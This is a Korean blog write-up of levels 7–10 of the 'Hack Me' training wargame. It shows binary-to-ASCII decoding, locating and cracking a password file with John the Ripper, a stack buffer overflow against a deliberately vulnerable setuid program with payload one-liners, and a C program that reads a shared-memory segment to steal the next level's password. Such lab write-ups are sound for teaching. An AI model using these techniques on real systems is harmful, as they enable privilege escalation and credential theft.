Study Record

[리버싱] Hack Me 풀이집2 (7단계 ~ 10단계) 본문

리버싱/Hack Me

[리버싱] Hack Me 풀이집2 (7단계 ~ 10단계)

초코초코초코 2021. 11. 16. 10:42
728x90

7단계 → 8단계

※ 7단계(level7) 패스워드 : "come together"

 

☞ 기초개념 - 진법 전환

https://laustudy.tistory.com/63

 

㉮ hint 를 본다.

# cat hint

㉯ /bin/level7 을 실행해봤다.

hint 를 생각해보면 2진수를 10진수로 바꿔야하고 패스워드는 가까운 곳에 있다고 했다.

㉰ "--_--_- --____- ---_-__ --__-_-" 가 "-"는 1 이고 "_" 는 0인 2진수 문자열이라고 생각해볼수도 있을 것 같다.

# man ascii

구분  표기 예  아스키문자열
2진수(Bin) 1101101 1100001 1110100 1100101  
10진수(Dec)    109        97        116       101 mate
16진수(Hex)    6d          61         74        65 mate

 

㉱ /bin/level7 에 "mate" 를 한번 입력해본다.

level7 의 패스워드를 획득했다!

 

8단계 → 9단계

※ 8단계(level8) 패스워드 : "break the world"

 

☞ 기초개념 - 패스워드 크랙

https://laustudy.tistory.com/63

 

㉮ hint 를 본다.

# cat hint

㉯ 파일에 대해 알려진 것은 용량이 2700이라는 것 뿐이라고 했으니 용량이 2700인 파일을 찾아본다.

# find / -size 2700c -type f 2>/dev/null -ls

 여기서 소유 그룹이 level8 인 /etc/rc.d/found.txt 파일이 수상해보인다.

 

㉰ /etc/rc.d/found.txt 파일을 열어보자. (sort -u : 중복 제거)

# cat /etc/rc.d/found.txt | sort -u

㉱ "John the ripper" 라는 패스워드 크랙 툴로 패스워크 크랙을 해보자.

# john password.txt --show

level9 의 패스워드가 나왔다.

 

9단계 → 10단계

※ 9단계(level9) 패스워드 : "apple"

 

☞ 기초개념 - 버퍼 오버플로우 (BOF)

https://laustudy.tistory.com/65

 

㉮ hint 를 본다.

# cat hint

㉯ fgets 함수에서 40자까지 입력받을 수 있지만 그 입력값을 저장하는 buf 배열은 10자까지 저장할 수 있다. 따라서 이 점을 이용하여 표준 입력을 통해 buf2 배열에 "go" 라는 단어를 입력하여 level10의 권한을 가진 쉘을 획득할 수 있을 것 같다. buf 와 buf2 사이의 빈 공간이 있을경우도 고려하여 공격해보자.

# /usr/bin/bof 

AAAAAAAAAABBBBBBgo

level10 의 패스워드를 알아냈다!

+ /usr/bin/bof 와 같은 동작을 하는 bof.c 코드를 따로 작성해서 분석해보자.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main()
{
        char buf2[10];
        char buf[10];

        printf("It can be overflow : ");
        fgets(buf, 40, stdin);

        printf("buf2 : 0x%x\nbuf : 0x%x\n", &buf2, &buf);

        if(strncmp(buf2, "go", 2) == 0)
        {
                printf("Good Skill!\n");
                setreuid(3010, 3010);
                system("/bin/bash");
        }
}

gcc 명령어로 컴파일한 다음 buf2 배열과 buf 사이에는 16(0x10)만큼 떨어져있는 것이 보인다. 실제로 buf 배열의 크기는 10(0xa)인 것을 고려했을 때, 6 만큼의 빈 공간이 존재한다는 것을 볼 수 있다.

※ AAAAAAAAAAAAAAAgo 출력하기

# for i in `seq 1 16`; do printf "A"; done; printf "go\n"

# for i in `seq 1 16`; do printf "A"; done; printf "\x67\x6f\n"

# perl   -e 'print "A"x16,"go\n"'

# ruby   -e 'print "A"*16+"go\n"'

# python -c 'print "A"*16+"go"

 

10단계 → 11단계

※ 10단계(level10) 패스워드 : "interesting to hack!"

 

☞ 기초개념 - 공유 메모리

https://laustudy.tistory.com/67

 

㉮ hint 를 본다.

# cat hint

key_t 값이 7530인 공유 메모리에 두 사람의 대화가 남아있을 것 같다.

 

㉯ ipcs 명령어로 현재 공유 메모리 정보를 보자

# ipcs

key 값이 0x00001d6a(10진수 : 7530)인 공유 메모리가 존재한다.

+ 힌트가 될만한 파일을 찾아보자

# ls 

program 이라는 디렉토리가 굉장히 수상하다. 파일의 내용 중에 /home/level10/program 을 포함하는 파일을 찾아보자

#  find / -type f -exec grep -l '/home/level10/program' {} \; 2>/dev/null

여기서 /etc/rc.d/rc.local 은 부팅 시 로그인 창이 뜨기 직전 실행되는 파일이다. 이 파일을 출력해보자

# cat /etc/rc.d/rc.local

파일에 /home/level10/program/level10 파일을 실행하는 것으로 보인다.

 

㉰ 공유 메모리에 접근하는 프로그램을 만들어보자

# vi ~/tmp/attack_shm.c

#include <stdio.h>
#include <sys/shm.h>
#include <sys/types.h>

#define BUFFSIZE 1024

int main()
{
        void *sMemory=(void *)0;
        int sMemID;
        char buf[BUFFSIZE];
        key_t keyval=7530;

        sMemID=shmget(keyval, BUFFSIZE, 0666);

        sMemory=shmat(sMemID, (void *)0, 0);

        memcpy(buf, sMemory, BUFFSIZE);
        printf("%s", buf);

        shmdt(sMemory);

        return 0;
}

 

㉱ 공격 프로그램을 컴파일하고 실행해보자

# gcc -o attack_shm attack_shm.c

# ./attack_shm

level11 의 패스워드를 획득했다!

 

728x90